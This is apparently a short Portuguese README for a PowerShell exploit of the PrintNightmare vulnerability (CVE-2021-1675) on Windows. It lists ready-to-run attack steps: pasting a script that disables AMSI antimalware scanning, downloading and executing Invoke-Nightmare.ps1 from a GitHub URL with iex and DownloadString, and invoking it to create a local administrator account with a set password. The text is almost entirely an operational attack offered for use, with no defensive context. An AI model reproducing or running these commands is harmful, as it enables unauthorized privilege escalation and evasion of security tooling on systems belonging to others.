
PowerShell exploit para CVE-2021-1675 PrintNightmare que desativa o AMSI e cria uma conta de administrador local em sistemas Windows vulneráveis.
#desabilitar AMSI: (copiar para o PowerShell) https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt
#executar invoke-script iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1')
#criar conta de administrador Invoke-Nightmare -DriverName "Xerox" -NewUser "admin" -NewPassword "P@ssw0rd"